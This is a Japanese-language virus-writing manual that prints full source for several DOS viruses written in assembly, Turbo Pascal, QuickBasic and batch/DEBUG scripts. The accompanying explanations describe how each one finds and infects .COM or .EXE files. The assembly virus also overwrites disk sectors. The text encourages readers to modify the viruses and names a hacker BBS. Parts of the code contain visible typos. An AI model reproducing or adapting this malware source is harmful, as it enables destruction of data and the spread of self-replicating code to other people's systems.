/ **************************************************************************** / / * ウイルス作成マニュアル完全版 * / / * 訳 : しえら * / / **************************************************************************** / ウイルスは今日、知られているほとんどのコンピュータ言語で表現することができます。 けれども、以前までは効果的なウイルスのほとんどはアセンブリ言語で書かれていました ウイルスはその限定された能力の為に、Basic では書かれることはないと考えられていま した。しかしそれは偽りです。Basic を正確に使えば非常に効果的なウイルスを作り出す 能力を持っていることが立証されるでしょう。Basic とAssemblyが結びつけば、将来ウイ ルスの有効性を強めることが可能でしょう。 この論文では私たちは B.fix、Rburger、Vallenらによって書かれたAssembly、Pascal、 Basic 記述のウイルスを調べることにします。これらのウイルスプログラムを実行する場合注 意を払ってください。コンパイルする場合は別のディスクを使ってください。 /* アセンブラ言語で書かれたウイルスの場合 ----------------------------------- */ アセンブラがOSのセキュリティを回避するユニークな機能を持ちあわせているため、大 抵のウイルスはアセンブリで書かれます。この場合はMSDOS2.1環境下で書かれたウイルス の例ですが、後のバージョンでもコンパイルすることはできます。文章では部分的に説明 するようにしています。プログラマがもし切望されるならそれらの部分は削除して使用し てください。 ;******************************************************************************* ; Program Virus ; Version 1.1 ; Writter : R. Burger ; Created 1986 ; これはコンピュータウイルスのためのデモンストレーションです。このプログラムは ; 自分自身を置き換え、他のプログラムを修正する能力を持っています ;******************************************************************************* Code Segment Assume CS:Code progr equ 100h ORG progr ;******************************************************************************* ; 3つのNOP はウイルスを識別することを許すウイルスの目印バイトの役割をします ;******************************************************************************* MAIN: nop nop nop ;******************************************************************************* ; ポインタの初期化 ;******************************************************************************* mov ax,00 mov es:[pointer],ax mov es:[counter],ax mov es:[disks],al ;******************************************************************************* ; 選択可能なドライブの取得 ;******************************************************************************* mov ah,19h ;ドライブ? int 21h ;******************************************************************************* ; 現在のドライブのカレントパスの取得 ;******************************************************************************* mov cs:drive,al ;ドライブ保存 mov ah,47h ;ディレクトリ? mov dh,0 add al,1 mov dl,al ;現在のドライブ lea si,cs:old_path ; int 21h ;******************************************************************************* ; 現在存在しているドライブの個数の取得 ; もし一つの場合は検索用のポインタは+6と設定されます ;******************************************************************************* mov as,0eh ;ディスクの数 mov dl,0 ; int 21h mov al,01 cmp al,01 ;一つ目のドライブ jnz hups3 mov al,06 hups3: mov ah,0 lea bx,search_order add bx,ax add bx,0001h mov cs:pointer,bx clc ;******************************************************************************* ; これ以上の*comファイルを発見できない時、キャリー(下駄)が付けられます。それから ; 不要な仕事を避けるために、 *.exeファイルが*.comファイルにリネームされ感染されます。 ; 感染されると、やや大きい実行プログラムを開始するときエラーメッセージ"Program ; to large to fit memory"を表示します ;******************************************************************************* change_disk: jnc no_name_change mov ah,17h ;.EXE を .COM に変更 lea dx,cs:maske_exe int 21h cmp al,0ffh jnz no_name_change ;.EXE 見つからない? ;******************************************************************************* ; もし*.comと*.exeのどれも見つからない時はセクタがシステムタイマの数ミリ秒のうち ; に上書きされるでしょう。これは記憶メディアの「伝染」が完了する時間です。ウイ ; ルスはその破壊や感染から何も見出すことは出来ません ;******************************************************************************* mov ah,2ch ; システムタイマを読み出す int 21h mov bx,cs:pointer mov al,cs:[bx] mov bx,dx mov cx,2 mov dh,0 int 26h ; ディスクに傷を付ける write crap on disk ;******************************************************************************* ; オーダーテーブルの検索の終了に達したことを探知した場合は終了です ;******************************************************************************* no_name_change: mov bx,cs:pointer dec bx mov cs:pointer,bx mov dl,cs:[bx] cmp dl,0ffh jnz hups2 jmp hops ;******************************************************************************* ; 検索のオーダーテーブルによる新しいドライブを取得しそれを選択します ;******************************************************************************* hups2: mov ah,0eh int 21h ;ディスク変更 ;******************************************************************************* ; ルートディレクトリから開始 ;******************************************************************************* mov ah,3bh ;Path変更 lea dx,path int 21h jmp find_first_file ;******************************************************************************* ; ルートから開始した時に、最初のサブディレクトリを検索します。古いディレクトリ ; で最初に*.exeファイルを*.comファイルに変換します ;******************************************************************************* find_first_subdir: mov ah,17h ;.exe から .comに変更 lea dx,cs:maske_exe int 21h mov ah,3bh ;ルートディレクトリ使用 lea dx,path int 21h mov ah,04eh ;最初のサブディレクトリを検索する mov cx,00010001b ;ディレクトリマスク lea dx,maske_dir ; int 21h ; jc change_disk mov bx,CS:counter INC,BX DEC bx jz use_next_subdir ;******************************************************************************* ; 次のディレクトリを検索する ; もしそれ以上ディレクトリが見つからなかったらドライブを変更します ;******************************************************************************* find_next_subdir: mov ah,4fh ;次のディレクトリを検索 int 21h jc change_disk dec bx jnz find_next_subdir ;******************************************************************************* ; 発見したディレクトリを選択 ******************************************************************************** use_next_subdir: mov ah,2fh ;データのアドレスを捕らえる int 21h add bx,1ch mov es:[bx],'\` ;データアドレスの名前 inc bx push ds mov ax,es mov ds,ax mov dx,bx mov ah,3bh ;pathの変更 int 21h pop ds mov bx,cs:counter inc bx mov CS:counter,bx ;******************************************************************************* ; 最初に.comファイルをカレントディレクトリ内で発見します ; それらが違えば、次のディレクトリを検索します ;******************************************************************************* find_first_file: mov ah,04eh ;最初のディレクトリを検索 mov cx,00000001b ;マスクをかける lea dx,maske_com ; int 21h ; jc find_first_subdir jmp check_if_ill ;******************************************************************************* ; もし、プログラムファイルが犯されていれば(感染されていたら) ; 他のプログラムを検索します ;******************************************************************************* find_next_file: mov ah,4fh ;次を探す int 21h jc find_first_subdir ;******************************************************************************* ; 既にウイルスに感染されたかチェック ******************************************************************************** check_if_ill: mov ah,3dh ;チャンネルを開く mov al,02h ;読み書き mov dx,9eh ;データアドレスの名前 int 21 mov bx,ax ;チャンネルの保存 mov ah,3fh ;ファイル読み込み mov ch,buflen ; mov dx,buffer ;バッファに書き出す int 21h mov ah,3eh ;ファイルを閉じる int 21h ;******************************************************************************* ; このルーチンは3つのNop's(NO OPERATION)を検索します。感染が既に存在している ; 時はまた検索を再開しなければなりません ;******************************************************************************* mov bx,cs:[buffer] cmp bx,9090h jz find_next_file ;******************************************************************************* ; このルーチンはMS-DOSのライトプロテクトによる保護がなされている場合、 ; とてもも重要です ;******************************************************************************* mov ah,43h ;書き込み可能 mov al,0 mov dx,9eh ;データアドレスの名前 int 21h mov ah,43h mov al,01h and cx,11111110b int 21h ;******************************************************************************* ; 読み書きのアクセスの為のファイルオープン ******************************************************************************** mov ah,3dh ;チャンネルを開く mov al,02h ;読み書き mov dx,9eh ;データアドレスの名前 int 21h ;******************************************************************************* ; プログラムの日付部を読み、将来使うために保存します ;******************************************************************************* mov bx,ax ;チャンネル mov ah,57h ;データを取得 mov al.0 int 21h push cx ;データを保存 push dx ;******************************************************************************* ; このjumpは将来使用するために保存されたプログラムの 0100h番地に位置を定めます ******************************************************************************** mov dx,cs:[conta] ;古いジャンプ(障害?)を保存 mov cs:[jmpbuf],dx mov dx,cs:[buffer+1] ;新しいジャンプ(障害?)を保存 lea cx,cont-100h sub dx,cx mov cs:[conta],dx ;******************************************************************************* ; ウイルスはそれ自身をファイルのスタート位置に複写します ;******************************************************************************* mov ah,57h ;データ書き込み mov al,1 pop dx pop cx ;データ復元 int 21h ;******************************************************************************* ; ファイルを閉じる ;******************************************************************************* mov ah,3eh ;ファイルを閉じる int 21h ;******************************************************************************* ; 古いジャンプアドレスの復元。ウイルスはアドレス「 Conta」においてホストプログ ; ラムのスタートのジャンプを保存します。これは可能な限りホストプログラムの実行 ; 状態を維持するために行われます。保存した後、それはウイルスを含んでいるジャン ; プアドレスでまた働きます。ウイルスのジャンプアドレスはメモリのジャンプアドレ ; スとは異なるので注意してください ;******************************************************************************* mov dx,cs:[jmpbuf] ;古いジャンプ復元 mov cs:[conta],dx hops: nop call use_old ;******************************************************************************* ; ホストプログラムの再起動 ;******************************************************************************* cont db 0e9h ;ジャンプ作成 conta dw 0 mov ah,00 int 21h ;******************************************************************************* ; プログラムのスタートでパスを選択し再び活動的になります ;******************************************************************************* use_old: mov ah,0eh ;以前のドライブを使用 mov dl,cs:drive int 21h ;******************************************************************************* ; プログラムのスタートでパスを選択し再び活動的になります ;******************************************************************************* mov ah,3bh ;以前のドライブを使用 lea dx,old_path-1 ;以前のパスとバックスラッシュを取得 int 21h ret search_order db 0ffh,1,0,2,3,0ffh,00,offh pointer dw 0000 ;ポインタFを検索 counter dw 0000 ;カウンタFを検索 disks db 0 ;ディスクナンバー maske_com db "*.com",00 ;*.comファイルを検索 maske_dir db "*",00 ;ディレクトリを検索 maske_exe db offh,0,0,0,0,0,00111111b db 0,"????????exe",0,0,0,0 db 0,"????????com",0 maske_all db offh,0,0,0,0,0,00111111b db 0,"???????????",0,0,0,0 db 0,"????????com",0 buffer equ 0e00h ;場所確保 buflen equ 230h ;ウイルスのサイズ ;変更中なら注意を払って jmpbuf equ buffer+buflen ;ジャンプ場所確保 path db "\",0 ;最初の場所 drive db 0 ;現在のドライブ back_slash db "\" old_path db 32 dup (?) ;以前のパス code ends end main [ END OF THIS VIRUS PROGRAM ] /* Pascal で書かれたウイルスの場合 ------------------------------------------ */ Pascalはハイレベルなコンピュータウイルスを作り出すことができる、もう一つの高水準 言語です。特にTurboPascalの使用法が必要とされています。 ウイルスはしばらくの間、BBS下を通して利用可能でした。 {******************************************************************************} {* ウイルス名:NO.1 *} {* *} {* このウイルスを扱う場合は注意してください *} {* No.1はすべての*.comファイルに感染します - No.1のプログラムコードで上書きさ *} {* れたファイルのファイル名は表示されます。もし、すべてのファイルが感染されて *} {* いたりそうでない場合は、発見された*.comファイルにNo.1が与えられます *} {* ファイルは読み込みのみの属性がかかった伝染に対しては保護されるでしょう。 *} {* *} {* Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) *} {******************************************************************************} {C-} {U-} {I-} { 常にユーザーブレークが許可される形、IOチェックを可能にする } { -- 定数 --------------------------------------- } Const VirusSize = 12027; {ウイルスNO1のコードサイズ} Warning :String[42] {警告} = 'このファイルはNo1に感染されてるよん'; { -- クラス宣言 ------------------------------------- } Type DTARec =Record {ファイル検索用のデータエリア} DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record {ファイル検索に使われるレジスターの登録} Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; { -- 変数宣言 --------------------------------------------- } Var { プログラムコードのオフセット値 } ProgramStart : Byte absolute Cseg:$100; { 感染メーカー } MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; { レジスタ } DTA : DTARec; { データエリア } Buffer : Array[Byte] of Byte; { データバッファ } TestID : String[42]; { 感染ファイル認識用 } UsePath : String[66]; { 検索ファイルのパス用 } { 検索ファイルのパス長さ} UsePathLenght: Byte absolute UsePath; Go : File; { 感染されるファイル } B : Byte; { 使用される } { -- プログラムコード ------------------------------------- } Begin WriteLn(Warning); { 警告表示 } GetDir(0, UsePath); { 現在のディレクトリ取得} if Pos('\', UsePath) <> UsePathLenght then UsePath := UsePath + '\'; UsePath := UsePath + '*.COM'; { 検索マスクの定義 } Reg.AH := $1A; { データエリアの設定 } Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; { パスは#0で終了される } Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg CX := $ff; { 全てのファイルを検索するために属性を設定 } MsDos(Reg); { 最初の適合するターゲットの検索 } IF not Odd(Reg.Flags) Then { ファイルを見つけたら… } Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); { つまらん物は取り除け } Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then { IOエラーが無ければ… } Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); { 感染されているかテスト } If TestID <> Warning Then { まだだったら… } Begin Seek (Go, 0); { そいつを感染リストに追加する } MarkInfected := Warning; { 感染しろ } BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); Close(Go); { 終了したと言ったら } WriteLn(UsePath + 'infected.'); Halt; { プログラムを終了する } End; Close(Go); End; { このファイルはもう感染されている…次へ } Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); { ......................もうこれ以上ありません } Until Odd(Red.Flags); Write(`'); { 笑ってくれ } End.  しかし…これはウイルスの基本に過ぎません。このウイルスの場合、.comファイルにし か感染しません。それは約12KBのサイズで、データエントリーを書き換えるでしょう。 /* BASICで書かれたVirusの場合 ----------------------------------------------- */ Basic は最強の言語です。しかし時々人々は制限された言語だといいます。そして、それ らを使ってウイルスを作成する事など出来ないと…うーん、貴方は本当にお困りのようで すね。1987年にR.Burgerによって作成されたBasicのウイルスを見てみましょう。 このプログラムは上書きを行うウイルスです。そして実行ファイルに感染を行うために、 MS-DOSのシェルを使用します。これらを行うためには貴方はマイクロソフトのQuickBasic で使用されているソースファイルをコンパイルしなければならないです。 BV3.EXEをカレントディレクトリに置き、COMMAND.COMを利用可能な状態にし、LENGHTVIR 変数をリンクされたプログラム内に置きます。その時/eパラメータを使用する事を忘れて はなりません。 Note the lenght of the compiled and the linked .EXE file and edit the source code to place the lenght of the object program in the LENGHTVIR variable. 10 REM ** DEMO 20 REM ** 思い通りに変更してください 30 REM ** BASICはださくない 40 REM ** これは遊びじゃない 50 ON ERROR GOTO 670 90 LENGHTVIR=2641 100 VIRROOT$="BV3.EXE" 110 REM * ファイル"INH"内にディレクトリを書き込む 130 SHELL "DIR *.EXE>INH" 140 REM * ファイル"INH"を開き名前を読む 150 OPEN "R",1,"INH",32000 160 GET #1,1 170 LINE INPUT#1,ORIGINAL$ 180 LINE INPUT#1,ORIGINAL$ 190 LINE INPUT#1,ORIGINAL$ 200 LINE INPUT#1,ORIGINAL$ 210 ON ERROR GOT 670 220 CLOSE#2 230 F=1:LINE INPUT#1,ORIGINAL$ 240 REM * "%"はBV3のマーカーである 250 REM * 名前の内部の"%"は感染された時刻を意味する 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210 280 ORIGINAL$=MID$(ORIGINAL$,1,13) 290 EXTENSIONS$=MID$(ORIGINAL,9,13) 300 MID$(EXTENSIONS$,1,1)="." 310 REM * 連結された名前をファイル名とする 320 F=F+1 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN GOTO 350 340 GOTO 320 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$ 360 ON ERROR GOTO 210 365 TEST$="" 370 REM + 開くファイルを発見した 380 OPEN "R",2,OROGINAL$,LENGHTVIR 390 IF LOF(2) < LENGHTVIR THEN GOTO 420 400 GET #2,2 410 LINE INPUT#1,TEST$ 420 CLOSE#2 431 REM + プログラムが感染されているかチェック 440 REM + ファイルの最後の"%"はファイルが既に 450 REM + 感染されている事を意味する 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210 470 CLOSE#1 480 ORIGINALS$=ORIGINAL$ 490 MID$(ORIGINALS$,1,1)="%" 499 REM + 健全な "HEALTHY" プログラム 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$ 520 SHELL C$ 530 REM * ウイルスを健康的なプログラムにコピー 540 C$="COPY "+VIRROOT$+ORIGINAL$ 550 SHELL C$ 560 REM * ウイルスのマークを添える 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13 580 WRITE#1,ORIGINALS$ 590 CLOSE#1 630 REM + 出力メッセージ 640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!" 650 SYSTEM 660 REM * ウイルスエラーメッセージ 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM 680 END この BASICウイルスは.EXEファイルのみに感染します。ファイルを実行した後に、同じデ ィレクトリ内に"INH"ファイルを見つけるでしょう。"%SORT.EXE"の様になっていると思い ます。"%" で始まるプログラムは感染されていません。それらはバックアップに成りすま しています。 /* Batch Viruses ------------------------------------------------------------ */ ウイルスを考える人は誰でもBATCH ファイルに入れる事が可能です。このウイルスは見て のとおり(^^;MS-DOS上で動作します。このウイルスはDEBUGとEDLINを使用します。 Name: VR.BAT echo = off (自分自身を隠す) ctty nul (これは重要 コンソールの入出力は止めさせる) path c:\msdos (これはシステムによって異なるかもしんない) dir *.com/w>ind (ディレクトリはNameエントリにのみ"IND"を書かれる) edlin ind<1 ("IND"はEDLINによって処理される 名前のみ表示される) debug ind<2 (DEBUGによって新しいBATCHが作成される) edlin name.bat<3 (このBATCHはEDLINにより実行可能プログラムになる) ctty con (コンソールの入出力は再割り当てされる) name (新たに作成されたName.batが呼び出される) Batchファイルに加えて、コマンドファイル等も、1,2,3となずけられる。 ここに最初のコマンドファイルがある ------------------------------- Name: 1 1,4d ( "IND"ファイルの1-4行が削除される ) e ( 保存する ) ここに次のコマンドファイルがある -------------------------------- Name: 2 m100,10b,f000 (最初のプログラム名は保存する為にF000Hアドレスに移動される) e108 ".BAT" (拡張子は.batに変更される) m100,10b,f010 (ファイルはもう一度保存される) e100"DEL " (削除コマンドは100Hアドレスに書かれる) mf000,f00b,104 (オリジナルファイルはこのコマンドの後書かれる) e10c 2e (拡張子の前にピリオドが置かれる) e110 0d,0a (CR LF 改行) mf010,f020,11f (変更されたファイルはバッファエリアから11FHに移動される) e112 "COPY \VR.BAT"(コピーコマンドがファイルの先頭に位置づけされる) e12b od,0a (コピーコマンドはCR-LF(改行)とともに終わる) rxc (CXレジスタは…) 2c (2CHにセットされる) nname.bat (名前はNAME.BAT) w (書き込み) q (終了) 3番目のコマンドファイルは16進数ダンプとして表示されなければなりません。何故なら そのファイルは二つのコントロール文字(1Ah=CtrlZ)を含んでいるからです。そして、そ れらが全体に表示されないからです。 3番目のコマンドファイルの16進数ダンプ ----------------------------------- Name: 3 0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 1 , 1 ? . . n y y y y y y y 0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79 y . 2 , ? ? r . . n n y y y 0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00 y y y y . E . . . . . . . . . VR.BATを実行させるにはそのファイルがルートにある必要があります。このプログラムは ..COMファイルにのみ影響があります。 End Note -------- これらのウイルスは貴方が必要とする限りいくらでも変更可能です。もし誰かがウイルス に興味を持つなら、"The Hacker's Eden BBS"で私と会ってください。 お勧めする書籍: コンピュータウイルス : ハイテクな病 by Abacus 2600 マガジン : Volume 5, Number 2